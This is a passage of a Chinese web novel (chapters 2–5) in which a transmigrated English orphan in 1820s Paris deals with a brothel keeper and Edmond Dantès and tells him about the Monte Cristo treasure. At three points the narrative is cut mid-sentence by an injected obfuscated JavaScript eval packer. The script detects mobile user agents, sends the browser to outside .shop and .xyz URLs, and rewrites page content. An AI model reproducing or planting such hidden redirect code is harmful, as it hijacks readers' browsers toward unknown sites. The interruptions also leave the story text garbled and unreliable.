《文科生在名著里艰难求生》 2. 第 2 章 珍妮提着十二寸的箱子跟在领路的老板后。 老旧的楼梯发出木质酥松的“咯噔”声,听着就让珍妮赶紧落后几步,避免与那宽得塞满楼梯道的老板一起踩空。 “就是这儿了。”二楼除了短宿的客房便是资深的员工宿舍,同时有个上锁的楼梯连接住着老板一家的三楼空间。 老板也是有女儿的,即使要拉一脸懵懂无知的珍妮下海,也不由得对其升起怜悯之情。 悲剧,你的名字叫穷人。 “这房挨着阿让厨娘,你要是愿花上几苏,可以使唤她的女儿烧盆热水。” 老板从姐姐那儿学会如何挑选员工,管理员工。 阿让厨娘是二十年前来巴黎谋生的法维洛勒人,据说她在老家还有一个因盗窃罪而锒铛入狱的可怜弟弟,也是因为这个缘故,她家变得声名狼藉,不得不把年长的孩子送给邻村的木匠为徒,以此换取前往巴黎的微薄路费。 珍妮刚把木箱放下,就有一个围裙洗成米黄色的姑娘敲响房门。 “嘿!你这麋鹿真是长了一双兔子耳朵。”老板冲着脸蛋烤成苹果色的姑娘笑道:“琴,你赚钱的机会可算来了。” 苹果色的姑娘冲着他羞涩一笑,进屋前往围裙上把双手擦净,试图给客人留下较好印象:“尊敬的女士,美洲人酒馆里的女侍琴随时准备为您服务。” “麻烦为我准备洗漱的热水以及干净盆子。”棕黑色头发的客人从腰侧的口袋拿了20生丁给期待已久的女侍琴。 老板见了,有些疑惑姐姐为何选了她做目标对象:“您是从哪里来?“ “英国。”珍妮见老板还没离开的意思,于是把双手顺着腰下的裙摆合十,摆出一副洗耳恭听的样子:“请问您还有何嘱咐?“ “哦!我忘了把门锁给你。”老板从宽松的裤里掏出一把沉重的锁:“相信我,您会需要这个防住还能划开简单木闩的醉客。” 郊外的酒馆不常遇见单身女客。虽然消费拦住了些不法之辈,可是财力又不等于真实人品,更何况些压货的九流不必承担食宿费用:“睡前记得把窗关好。” 他家有两年轻的女侍,所以见过不要脸的来扒窗户。 珍妮把老板送走,又等女侍送来热水才锁上房门,打开那个已经掉漆的手提箱子——里头除了一条围巾,一双手套,换洗的衬裙与防身的匕首,就只剩下还未兑换的白色英镑。 珍妮把这叠英镑卷好塞进带绒的手套里。 为了不让萍水相逢的康利夫人起了疑心,她特意把手套压在塞满箱子的衬裙下,然后用围巾做了防护避免意外发生。 财不外露是各国公认的生存经验,不过与这经验相反的是“先敬衣裳后敬人,先敬皮囊再敬魂”的处世之道。 莫名穿到十九世纪,而且还倒霉催地成了一名乡绅独女的珍妮还没搞清到底发生了啥,就被等着继承遗产的堂兄给“扫地出门”。 原身的父亲死得突然,来不及把动产折成现金塞进女儿的嫁妆,所以珍妮能得到的遗产只有母亲的嫁妆,以及父亲的一半动产。 按理说一乡绅的女儿怎么也有一千英镑的财产傍身。 十九世纪初的英国国债有4.5%~6%的收益率,而银行定期的年利率高达三点。珍妮若有一千英镑的遗产傍身,无需复杂的金融操纵就能靠着50英磅的年息舒服度日。 要知道在十九世纪的中期,一百英磅的年薪就已经步入伦敦中产,而简.爱做家教的年薪也不过是三十英镑。只要珍妮不继续摆乡绅阶级的淑女架势,就能依靠一千英镑的本金混吃等死到下个世纪。 然而现实永远都是这么扎心——珍妮的母亲生前挥霍了所有嫁妆,父亲除了维持乡绅的基本排场还试图经商,屡战屡败,所以留给珍妮的动产有且只有一百英镑。 而这不是凄惨的。 最凄惨的珍妮今年只有十七,所以按照英国的法律,她得找个亲戚监护她至成年……而且这时的成年线是二十一岁。 按理说在继承伯父的不动产后,珍妮的堂兄应该庇护这个堂妹,可是作为有口皆碑的体面人,他既不想把这堂妹送去昂贵的寄宿学校,也不想让邻里蛐蛐自己虐待伯父的独女。 为了甩掉珍妮这个吞金的累赘,堂兄想了一条毒计——他为珍妮“精挑细选”了不要嫁妆的体面绅士。说是绅士,但是年纪足以去做珍妮的父亲,而且还瘸了条腿,与亡妻有个十岁的女儿。 旁人若是想说什么,堂兄也有“珍妮是孤女”,“对方有着高于自己的社会地位”等理由搪塞。 当然,堂兄也没把事做绝,“你若不想嫁给对方,就去巴黎投奔亲戚。” 珍妮的母亲是法国人,能在第二次反法联盟时给嫁到英国的女儿准备三千英镑的嫁妆就足以说明她家是有一定地位,搞不好那博林先生还是托了“科西嘉的矮子”的福才上娶到了珍妮的母亲。 虽然在嫁到英国的这几年里,珍妮的母亲跟娘家的联系寥寥无几,但是就像莫泊桑的小说里写的那样,只要没有亲眼见到于勒叔叔,大家都还相信他有几分本事。更别提在十九世纪的法国,保王派与共和派、拿破仑的支持者你方唱罢我登场,社会主义、共产主义、无政府主义在权力的空隙悄然冒头,连已经遭到法王驱逐百余年的胡格诺派都试图回来争取权力。 在此情况下,娘家人连自身的安危都无法保障,更别提与珍妮的母亲保持联系。 “波旁复辟十余年了,眼下已经站稳脚跟。”珍妮决定投奔她的外祖的家时,堂兄显得非常高兴,亲自将堂妹送上前往法国的诺曼底号。 得益于拿外祖家来狐假虎威,珍妮除了父母留下的一百英镑,还得到了五十英镑的路费与免费船票。 然而这在不确定的未来前依旧没给珍妮带来一丝安慰,相反,一个前往巴黎寻亲的独身少女极易成为三教九流的狩猎对象。要不是有一百五十英镑的底气和堂兄开的路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14265633|151697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条让她一路都与“良民”通行,估计在下诺曼底号的那刻就有人替她“排忧解难”。 而康利夫人正是想替珍妮解决落脚之地的“好人”之一。 在巴黎,有五分之一的妇女从事风尘活动。 康利夫人能搬进巴黎的克利什街自然是有几分本事——她手下的老姑娘们可以应付乡下的旅客,自命不凡的托洛米埃,可是到了呼吸都有玫瑰味的克利什街,也不过是名流尝惯巴黎大餐后的一点刺激,压根没有多少常客。 依靠敏锐的商业直觉,康利夫人很快明白巴黎的名流想要什么,于是寻找更加符合上流审美的聪慧姑娘。 珍妮不仅年轻漂亮还受过系统的文学教育,不至于和偶尔会用拉丁谚语的名流没有一丝话头。虽然珍妮装的很像小家碧玉,但是老鸨本就是与各式各样的人在往来交际,更何况是康利夫人这从乡下杀进巴黎大区的精明之人——她几乎是一眼看出珍妮是在装模作样,巴黎压根没有能让珍妮投奔的可靠亲戚。 “哪家的淑女会独自投奔远房亲戚。” 珍妮给女侍的20生丁让老板生疑,于是去问姐姐是否看错了人。 康利夫人在外甥女的屋子住下,一边把帽子、围巾,镶边的手套与挂有各种小工具的腰链卸下,一面向弟弟解释道:“这种女人我见多了,家道中落又不肯相信自己已经孤苦无依,所以在把父母留下的一点钱给花干净前都不会低头。” 说罢还在胸前划十:“可怜的姑娘。” “可怜的姑娘。”老板跟着应和了声,问起如何安置这个英国姑娘:“您想把她捧成巴黎的交际花,但是一个乡绅的女儿不易就范。” 康利夫人之所以在邻里有着较高名声,就是因为她不干那逼良为娼的恶心事儿,同时不搞卸磨杀驴的传统操作:“她这样的姑娘是有几分架子,舍不下脸做腌臜之事,可是这样纯白无暇,没有经历太多挫折,太多诱惑的姑娘也是最好骗的。” “我只要把她留在那纸醉金迷的巴黎,给她一个接触名流,纵情声色的绝佳窗口,就会有人替我劝她沦落风尘。” 每年因为爱情、虚荣、无望的等待与绝望的报复而沦落风尘的良家女子不计其数。 康利夫人坚信珍妮不是特例,同时可以“到我这儿总好过成为某人的禁脔,酒馆的流莺”而获取安慰:“你离开前可留了锁?” 康利夫人把珍妮视作囊中之物,自然不想酒馆里的登徒子把珍妮捷足先登:“我可没忘牙齿掉光的托洛米埃是怎么看她。” “留了。我还嘱咐她睡觉前把窗户锁好,避免有人另寻他路。”托洛米埃是酒馆的常客,总爱吹嘘他年轻时大受欢迎,经常会有心碎的姑娘到处打听他的行踪。如果不是老板的女儿早就去了寄宿学校,阿让厨娘有个同在酒馆干活的强壮儿子,估计这厮儿会对酒馆的姑娘下手:“琴会看好客人的房门,不让狐狸有得逞的机会。” 康利夫人这才露出满意的笑。 3. 第 3 章 世上有两种爱作死的人是受欢迎的,准确说是受到资本的热烈欢迎。 于社会而言,酒鬼易起肢体冲突,烟鬼易损家庭健,但在打出“百万漕工衣食所系”的大借口后,这些问题便被住在塞纳河岸的达官贵人抛之脑后。 “托洛米埃先生,您喝得已经足够多了。”酒馆的老板见客人已经三三两两地离开,唯独之前爱挑事的老客与祖籍马赛的苍白男人还留在这儿。 爱德蒙在吃完饭后本想离开,奈何他的同伴是个超级酒鬼,趁着他与老板闲聊的一点功夫被酒馆的女侍连哄带骗地灌倒在地。 老板原想结交这位看起来会东山再起的“落魄贵族”,一转眼便无话可说,只能尬得开始收拾柜台残局。 这下好了,不仅没法与之交好,甚至还要注意对方别迁怒他。 爱德蒙倒没有在意这点小事,给了老板五法郎的银币就架起一个醉汉的手臂往二楼的客房小心走去:“麻烦给我带一下路。” “稍等,稍等。”酒馆的老板从台子后挤出来冲还亮着的厨房喊道:“雅格!我在叫你呢!雅格。臭小子又窝在锅边打呼噜了。” 老板拍着柜台的动静把醉倒的客人吓了一跳,不仅是爱德蒙的同伴,隔着约有两三桌的托洛米埃和布拉什维尔也抬起脑袋,这才有了本章开头的那句询问。 “我……”托洛米埃听到楼梯的“嘎哒”声,转头便见爱德蒙正架起一个醉鬼的胳膊往二楼走去:“也给我开一间客房。” 布拉什维尔一个手抖地让下巴磕到油亮的桌上,他迷迷糊糊地抬头看向不怀好意的托洛米埃,目光停在对方堪比剥落枯木的食指上。 托洛米埃与眼神浑浊的布拉什维尔对上了眼,就好像是两杯毒酒混合成了味道浓烈的金色毒汁。 “对,我们今晚要留在这儿。”布拉什维尔的眼神顿时变得清明起来:“我们要住最好的客房。” 想到老板肯定会把珍妮放到阿让厨娘的眼皮子底下,布拉什维尔还贼喊捉贼道:“您知道的,像我这样的有产青年总会遭来陌生的嫉妒。” 老板的眼睛上翻后又快速落下:“是的,我很清楚您的顾虑。” 康利夫人想保护她的未来“金矿”,酒馆的老板也不想失去他常客:“即使您没提醒我这众所周知的事儿,我也不会让您住在楼道口那儿。” 托洛米埃对老板的上道十分满意,同时也很庆幸自己一直带着脑子不好的狗腿子。 爱德蒙在下楼梯时与难掩得色的托洛米埃正面对上。 他的体型肯定不如隔三差五要试试新菜的酒馆老板,但是他豪饮的习性,放纵的本性在无数次地叠加后已经把他那又老又丑的面容安置在了烂肥的身上——之所以用这个词来形容他那有碍视观的体型是因他的肚子不似老板很有份量地鼓着,而是像被捶过千遍的烂肉叠在束紧的细皮带上。 他坐下时还没有那么明显,但是当他站起来后,即使是有衣服遮挡,也能看出浑身松垮的不成样子。 爱德蒙这居高临下的样子让自诩风流的托洛米埃很是不爽,路过时把半个身子都挂在已经磨成玉质的楼梯杆上。 后面的老板可不管这难伺候的少爷脾气,他只担心脆弱的扶手承不起这富家公子的可怕体格。 更可怕的是醉得更狠的布拉什维尔在艰难前行的打杂身上疯狂蹬腿,一边蹬,一面朝二楼的客房大声喊道:“棕发的姑娘,美丽的朱丽叶,你的罗密欧来了,你的罗密欧……” 布拉什维尔一掌打在墙纸剥落的老梯墙上,疼得差点勾着已经大汗淋漓的雅格的脖子滚落下去。 “贝内特先生。”雅格几乎哀求地看向殿后的老板。 员工在那儿胆战心惊,老板的心脏也不大好受——布拉什维尔与托洛米埃的体格只在伯仲之间,加上一个干苦力的雅格绝对能把老板活活压死。 爱德蒙被眼前的闹剧搞得那是相当无语,主动后退让这行人能赶紧上来。 “棕发的姑娘,可爱的甜心……” 你别指望楼梯都已摇摇欲坠的酒馆能有多么好的隔音效果,更别指望十九世纪的客房提供卫浴喷头。即使珍妮并不理解穿衣洗澡的“优雅之处”,但是为着自身的安全,同时也为“尊重”这时已把梅毒归为是有性魅力的可怕习俗,她还是用三苏说服厨娘母女把澡桶刷了两遍有余,然后穿着要换的衬裙迎接落到自己头上的一瓢温水。 布拉什维尔在楼梯口那儿大喊大叫时,珍妮正把黏糊糊的头发小心拧干。 帮她洗澡的女侍琴比珍妮还要担心醉鬼强行闯入:“要不您先起来穿好衣服?” 琴不仅是嘴上建议,行动上也抖开浴巾,把起身的珍妮完全裹住。 “老板没有跟上来吗?”珍妮知道康利夫人不怀好意。 感谢她被扔到这个没有电力的十九世纪上叶前每月都有一本名著的KPI。 康利夫人虽然从事不道德的老鸨一职,但是她在莫泊桑的小说里已算是万中无一的拟人老板。而在她为主角的《戴家楼》里,作为弟弟的贝内特.乔丹几乎就是依附姐姐的菟丝花——他不在乎外人如何评价他有老鸨姐姐,或是为安置姐姐的员工而让妓|女住进自家田宅,甚至让明日就要接受圣体的女儿睡在前日还与车上的商人打情骂俏的妓|女身边。 有了原著盖棺定论的人物评价,珍妮才敢选择与之同行。 然而现实还是给了珍妮一击。 原著里的乔丹姐弟(康利夫人和酒馆老板)可不是在巴黎活动。 一时间有无数种猜测疯狂涌入珍妮已被恐惧侵蚀的混沌大脑,幸而她在对比过与女侍琴的力量差后还能维持冷静之色,一边安排对方守在房门之后,一面去摸手提箱里的防身匕首。 托洛米埃确实是有不轨之心,但是自诩风流倜傥的有产青年绝不会用登徒子的方式向珍妮求爱:“布拉什维尔!我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14265634|151697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可怜的,被爱情与酒精蒙蔽大脑的孤独同伴,你现在的样子比一直追逐绪任克斯的牧神还要粗俗无礼。” 酒馆的老板生怕他们吵到三楼的康利夫人:“来点烟草清醒一下。” 他那口袋堪比一个百宝囊。 老板的鼻烟让布拉什维尔喷嚏连连,但好歹是安分了点,让架着他的雅格有空整理凌乱的衣裳。 他们搁这儿磨蹭的功夫,爱德蒙已带着落在一楼的同伴追赶上来。 同样是被女侍灌成一滩烂泥,爱德蒙的同伴可没有在楼梯闹腾的旺盛精力,而是仰头发出鼾声。 老板的视线在一左一右,一前一后的醉鬼间反复流连。 如果不是熟客在前,他甚至会抑扬顿挫的“啊”上一声。 “你在干嘛?”穿好衣服的珍妮把匕首藏进罩裙下的口袋。 耳朵附在门板上的琴被珍妮的询问吓了一跳,已经摸到木闩的手也光速缩回:“我想看看外面是个什么情况。” 这话把本就紧张的珍妮搞得汗毛倒竖:“你确定要出去看看。” 她不想以最坏的方式揣测对方:“酒馆的老板对你好吗?” 琴是真的后悔说出刚才的话——这跟说自己是门外人的同党有何区别:“我自九岁起就住在这儿。” 酒馆的老板是有生意人的不少缺点,但是他对厨娘一家绝对算是恩重如山。就是搁在整个法国,他也算是数得上号的良心老板,“他不会让我涉险的。” 但是想想老板用来开酒馆的钱是怎么来的,她又没了直视珍妮的任何底气。 “你别缩在房门后。”琴的反应让珍妮的戒心略有下降,但还是把兜里的刀柄攥得很紧:“小心他们直接踹门。” 如果是在一楼售酒的女侍听了,兴许会说托洛米埃还放不下那故作高雅的绅士样,但是与托洛米埃同行的布拉什维尔就截然不同了。 仗着自己喝得开始手舞足蹈,布拉什维尔把雅格拖得挨个去敲二楼的门:“棕发的姑娘,可爱的赫柏。” 难为他在酒嗝不断的情况下还能说着甜言蜜语:“原谅我如潘神般不请自来,这一切的一切,都是因为您可爱的面容让我无法控制已经喷薄而出的汹涌爱意。” “够了,布拉什维尔,你可真是够了。”上楼前的托洛米埃还可以确定布拉什维尔是七分醒、三分醉,可是看他现在的模样,已经感到面红耳赤的托洛米埃斩钉截铁道:“你是真的醉得不清。” “谁醉了?你可别在康利夫人的兄弟前胡言乱语。”之前还对托洛米埃言听计从的布拉什维尔此刻也是来了脾气:“托洛米埃,我最好的兄弟,别人不知我是巴黎的狄俄索尼斯,怎么连你也开始怀疑我了?” 楼道里的四人还在纠缠不清时,爱德蒙已安置好他所有的伙伴。按理说他不应插手陌生人的闹腾,但是想到十六岁的梅尔塞苔丝,他还是往楼道的那端鬼使神差道:“也许你们需要帮助。” 4. 第 4 章 托洛米埃见来者是让他很不爽的马赛人,条件反射地大开嘲讽:“是的,先生,您这样的‘巴黎学派’常年游荡于被麻布的裤腿清扫干净的巴黎外缘,只需一个眼神就能判断哪位绅士需要服务。” 爱德蒙在大起大落的前半生里早就习惯三教九流的冷嘲热讽,托洛米埃的攻击力甚至不及伊夫堡的狱卒一半:“您的马车在哪儿?” 托洛米埃好似被人打了一拳。 “原谅我是初次见到如此朴素的绅士。”后世以豪车鉴富的风气就是从此刻来的,“毕竟我也从未服务过没有马车和私人管家的……” “绅士。” 老板的脸朝一旁侧去,憋笑憋得耳朵跳出帽子边缘。 托洛米埃朝老板看去,后者却已扭过头和平时一样。 “让他试试吧!”面对来自托洛米埃的谴责眼神,酒馆的老板面不红心不跳道:“把朗姆酒当啤酒喝的水手肯定不缺醒酒的稀奇妙招。 爱德蒙把“醉醺醺”的布拉什维尔从雅格的肩上拉得可以双腿颤抖地勉强站立,然后把一枚干片塞进他正哼哼唧唧的嘴里。 古怪的味道让布拉什维尔很快就将干片吐出,弯腰抠着喉咙问道:“你给我吃了什么?“ “泡了葱汤的干柠檬片。”爱德蒙见事已解决,转身就想回去休息。 “你不能走。”布拉什维尔一个踉跄地撞到爱德蒙的宽阔背上。好家伙,这厮儿瞧着高挑瘦弱,肌肉却和大理石般硬邦邦的:“谁准你用这种方式对待我?” 爱德蒙朝托洛米埃的方向看了眼,后者只是嘴角噙着冷冷的笑。 “这是僭越!赤|裸裸的僭越。”布拉什维尔又恢复了让老板头疼的醉鬼姿态:“谁允许你用这种方式对待一位值得尊敬的有产绅士?” 波旁的复辟让残酷的阶级再次有了用武之地。 有那么一瞬间,爱德蒙是真的希望自己是个吉伦特派,或是当年有个来自科西嘉的矮子愿意发动一场人民战争:“您知道的,我是个为圣日耳曼区提供海鲜的落魄商人。” 布拉什维尔理所当然地以为这是对方怕了:“你还算有自知之明。” 谁料对方下一句是:“如果你有传话的需求,可以找我做笔生意。” 老板的嘴角扬起后又很快落下。 能给巴黎供渔获的怎么会是普通人?尤其是从马赛那种敏感地方来的,能在巴黎混得还有一份产业绝对不是泛泛之辈,搞不好买渔获的大人物们还有求于他。 托洛米埃也想到这点,上前拦住布拉什维尔的同时也态度一变:“恩将仇报可不是绅士的高尚所为。“ “无理由的贬低他人亦不是将品德列为身份凭依的绅士所为。”相反,这群人的道德感与基督山上的海盗一比,都能让以恶人自称的后者汗颜:“幸而您是有智慧的,所以我们明日可以愉快地喝上一杯。” 托洛米埃也没想到这马赛的渔夫很好说话:“届时请让我表达些微末歉意。” 酒馆的糟糕隔音与不长的走廊让珍妮有胆开条缝去窥视外面的一举一动。 因为她与爱德蒙的房间形成一个斜对角,所以后者合房门时看到两双窥视的眼睛。 “是老板之前主动搭讪的马赛人。”琴与珍妮一起扒着门缝去看,不然珍妮也不敢把后背露给不知立场的酒馆女侍。 珍妮把房门合上。 爱德蒙等扶着朋友的托洛米埃回房间后才缓缓落锁。 第二日的早上,梳洗整齐的康利夫人去二楼叫珍妮起床,结果被从员工房里着急出来的女侍告知对方已经下楼吃饭。 酒馆的早饭和爱德蒙在老家时的早饭一比只是把熏鱼和热茴香酒换成符合巴黎气质的果酱咖啡。 巴黎的工人兴许会和马赛的水手有着相同的早餐清单,因为他们需要热量应付长达12小时的体力劳动。 “有热酒吗?”爱德蒙的同伴趟着还未找回知觉的双腿问道。 “没有。”爱德蒙让女侍给这踉踉跄跄的同伴端来不加奶的美洲咖啡:“我们昨晚就该走了。” 自知理亏的同伴喝咖啡时还不忘嘀咕:“这可比在工厂里凑合一晚要舒服的多。” “托你的福,这批货得打骨折卖。”大晚上的渔获本就是给要开宴会的日耳曼区和拉丁区的沙龙供应,价格比白天或是剩到下午的渔获贵出三倍不止。 鲜鱼,鲜鱼,吃的就是“新鲜”二字,过了一晚就只剩下些半死不活的咸鱼泡在死鱼汁里,只能卖给良心能让撒旦汗颜的大资本家。 许是因为当水手时之遇到过不拟人的管账先生,而如同仲父的法利亚神父也并不想像个大资本家,所以能被初入商界的爱德蒙作参考对象的有且仅有莫雷尔先生。也是因为他的参考是个不像资本家的资本家,所以工人才有胆子在歇脚的旅馆喝得烂醉如泥。 “汤普森先生,您不会因这种事而解雇我吧!”爱德蒙虽没说什么,但是他的同伴还是听出了丝不妙意味:“您放心,我以后运货滴酒不沾。” 眼看对方还是没有太大反应,爱德蒙的同伴把领子里的十字架掏出赌咒:“以上帝的名义发誓,我若再犯,就让大海来惩罚我。” 除了兵痞,世界上最难驯的就是水手,与此同时,水手也是最讲规矩的信教群体。 联想自己初出茅庐时也干了不少让莫雷尔先生火冒三丈的蠢事,爱德蒙在短暂的迟疑后还是决定给次机会。 “咻吁!”眼看自己顺利过关,同伴就着不合胃口的果酱三明治看四周是否有新鲜事儿。 您猜怎么着? 昨晚引起小小轰动的美少女正朝着走来。 到底是水手,口哨声吹得能当编曲素材,“看来我是很多余了。” 珍妮还未绕到这桌,爱德蒙的同伴便很有眼色地端盘走了:“把握机会。” 自喻贴心的同伴不忘对口型道。 珍妮与挤眉弄眼的同伴擦肩而过。 虽然知道对方不是为自己来,但是看到漂亮的姑娘,爱德蒙的同伴还是忍不住把扁平毡帽当礼帽脱下,向珍妮表达自己的敬意:“用餐愉快。” 珍妮也有模有样地屈膝回道:“也感谢您免了我提冒失之请。” “……”爱德蒙想问问自己是不是在伊夫堡里呆太久了,或是他对梅塞苔丝已经形成可怕的执念,不然怎么看到这个棕发的英格兰姑娘都会想到加泰罗尼亚裔的梅塞苔丝。 更糟糕的是珍妮一开口,她身上的,梅塞苔丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14265635|151697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的影子就更浓烈了,“先生您吃了没?” 昨晚的珍妮无措的像只新生的鹌鹑,同眼前的女孩判若两人:“没吃的话能否许我请您一顿。” “如果是为昨晚的事来感谢我,一杯加了淡奶油与蜂蜜的咖啡足以。”相同的话由不同的额人说出也是味道不同,至少把牙齿掉得没几颗的托洛米埃放到爱德蒙的位子上,珍妮只想摇人表示被性骚扰了,“我以为您不苟言笑。” 二十世纪的刻板印象在十八世纪也很好使。年近三十的爱德蒙已褪去少年的婴儿肥,常年的监禁生涯让他身上有令人着迷的矛盾气息——不说话时瞧着像是古堡里的忧郁伯爵,但是当他话说开了,气氛热了,属于水手的自由灵魂便划开苍白的冷淡面孔,让人回到没有阴霾的马赛港口:“原谅我会给您留下这种印象。” 对方的态度好的不像这个时代的人,仿佛是从蒸汽朋克的铁丛林里找到一片还算清澈的小水潭。不过这种暧昧的错觉很快散在接下来的谈话中:“小姐,原谅我以陌生人的身份指责与你相处时间更长的另一女士。” 爱德蒙对珍妮的感官还算可以,更不希望“梅塞苔丝的影子”去做堕落之事:“我不知是严肃的面庞还是未亡人的身份让您相信同行的女士善良可靠,但是良知提醒我要告知那夫人的职业并不光彩。” “我知道。”珍妮的口气就好像是谈论早餐的咖啡可否换成果汁:“但是我没有选择。” 爱德蒙想再劝一句,就听对方继续说道:“您是水手,而且长我……” 珍妮想到康利夫人是《戴家楼》里的主角,而马赛又是各大文人的灵感之地,所以在爱德蒙的注视下鬼使神差地打探道:“冒昧地问下您今年多大?” “二十六。”爱德蒙回答完便感到后悔——他应该虚报几岁。 珍妮在心里默默一算……老天奶,居然真的对的上。 十几岁的少女在身负“好卖”的标签时也上了一个“容易忽悠”的buff。 拖了看起来比实际年龄更小一些的少女皮囊,爱德蒙这成年人哪能想到珍妮是个有私心的:“我还是个婴儿时您就可以上街找活补贴家用了。” 珍妮的语气骤转直下,让爱德蒙无可避免地感到愧疚:“原谅我对您的困境一无所知。” “先生,我是为了昨晚的事来感谢您的,可您表现得像是欠了我一屁股人情。”珍妮以为爱德蒙会顺势回句“很荣幸欠淑女的人情”,毕竟他是天生浪漫的法国人,而且还挨着专产多情男人的意大利。 然而珍妮还是错了。 第四面墙后的大仲马精力充沛得差点精尽人亡,但是他“儿子”显然没有这种罕见特质。 “好吧!好吧!”爱德蒙连连叹气,摆出一副成年男人不与孩子斗气的无奈架势。 珍妮瞧着他的样子也是燃起一股小孩心性,同时也为证实已经八|九不离十的某种猜测:“那么为了感谢您,我与您分享一个足以改变您一生的秘密吧!” 爱德蒙还是那副哄孩子的无奈架势:“感激不尽,洗耳恭听。” “您知道在法国与意大利间的伊特鲁里亚海里有座宝藏岛吗?” “……”饶是受过严格训练的爱德蒙此刻也瞳孔地震。 5. 第 5 章 知道基督山宝藏的肯定不止爱德蒙与神父两人,因为后者用这吊过无数个人,结果就爱德蒙一人吃饼……而且只吃了半张。 考虑到神父是从红衣主教斯帕达的经书里获知这笔巨额财富,而主教之前也许会把经书借给其他人看。 最重要的是这笔宝藏的合法拥有者——最后一代的斯帕达伯爵虽指定神父为家族遗产的继承人,并且还言之凿凿地确定他们已经绝嗣,可凡事都别把话说绝。征服者威廉靠一句话和堂姑母艾玛的关系都能搞到一个弱得几乎快没有的王位宣称。没准和神父一样,斯帕达主教的旁系亲戚里就有人已获知这笔巨额财富,只不过因关系较远,而且还是母系那边的超远旁系,所以没被斯帕达伯爵放在心上。 要知道在原著里,爱德蒙是再三确认这笔钱没合法继承者才动身去挖。参考他因梅塞苔丝而宽恕作为死仇后人的阿贝尔,并且还赠与其笔巨额财产,若是珍妮拥有这笔隐秘宝藏的合法继承权,估计连得到旧主赠与的神父都会考虑将其转赠给她。 一想到这斯帕达的继承人……而且还是个无依无靠的孤女冒着被拐卖的风险来法国寻找先祖留下的巨额遗产,已经和神父挖出基督山宝藏的爱德蒙便升起一股强烈的羞耻感与心虚:“你是从哪里获知这消息的?” 对方的态度让珍妮几乎捶定这是大仲马的亲儿子,被后世誉为龙傲天之祖的爱德蒙.唐泰斯。 许是担心自己的表现让“拿破仑党的余孽”——爱德蒙.唐泰斯没死于那场年初火灾的消息暴露,导致本可独自脱身的神父陷入干涉他国内政的可怕指控,爱德蒙在短暂的震惊后很快便以“小姑娘是童话看多“的戏谑姿态打探消息。 不幸的是对面已经知道他的真实身份,顺势跟他演了起来:“我母亲是在第二次反法联盟里被外祖嫁到英格兰的法国人,她去世就一个女儿,而且外祖……” 到底是与这具身体血脉相连的人,所以珍妮无需演技便真情流露:“我外祖父已多年不与母亲通信。” 马赛因为地理位置而被巴黎的中心视作不可信人,一个能在反法联盟时把女儿送去英格兰的法国乡绅是什么处境,想必无需珍妮多言,已经蹲过几年大牢的爱德蒙光脑补就有十种猜测:“很抱歉让你想起了不好的事。” “您无需对我说‘抱歉。”爱德蒙在心虚自己“抢了”珍妮的合法遗产,珍妮也在心里愧疚自己骗了超级好人:“我父亲是英格兰的普通乡绅,没有可以世代流传的高级头衔,所以在他意外走后,我堂兄成了父亲遗产的唯一继承者,并且让我投奔法国的外祖父。” 经过这么声情并茂的一顿解释,本就可怜的珍妮在爱德蒙心里更可怜了:“所以是你母亲告知家族里有这笔遗产?” 珍妮沉重地点了点头:“我母亲的祖上有位血统古老的意大利贵族,他的后人跟外祖父说过这笔巨额遗产,不过我外祖一家就我母亲当了真。” “那你外祖父有其他孩子吗?” “我母亲去英格兰时有三千英镑的嫁妆。” 那就是没有了。 这里算是良心未泯的珍妮耍了小花招——因为她没直说外祖有无除了她母亲外的其他孩子,而是引导爱德蒙往这方面想。 “我父亲生前爱做生意,但是没有一丁点的生意头脑,所以我能用来寻找外祖父的路费不多。”珍妮的“单纯”让本就愧疚的爱德蒙又带了一丝“恨铁不成钢”——老天啊!她简直和十九岁的自己一模一样:“这话说给外人听也太危险了。” “可您是个好人。” “……”难得的真心话在爱德蒙的心上又是狠狠一击:“……小姐。” 对上强盗也没心累的爱德蒙觉得自己没力气去应付今日的各种买卖:“您也是从白海峡的那头独自来的,别把一个帮过你的陌生人想得太好。” 珍妮的回答是让她想钻地板缝的羞涩一笑:“我也是看您的身份不同凡响,所以厚着脸皮求您施以援手。” 说罢还在找借口要归还宝藏的爱德蒙前“急不可耐”道:“我也不是白求您的慷慨相助,事成后能分你一半的秘密宝藏。” 爱德蒙:“……”这话好像在哪儿听过。 “……您去找老板借个律师吧!”爱德蒙的声音里满是疲惫,右手更是扶着已经隐隐作痛的额头:“这种酒馆应该会有法律服务。” 想起珍妮可能无法支付这笔大额开销,爱德蒙还不由分说地塞了几枚埃居给她:“记在以后的大宝藏上。” 借此他还苦中作乐道:“鱼下水也勉强算肉……这笔钱按一息来算。” 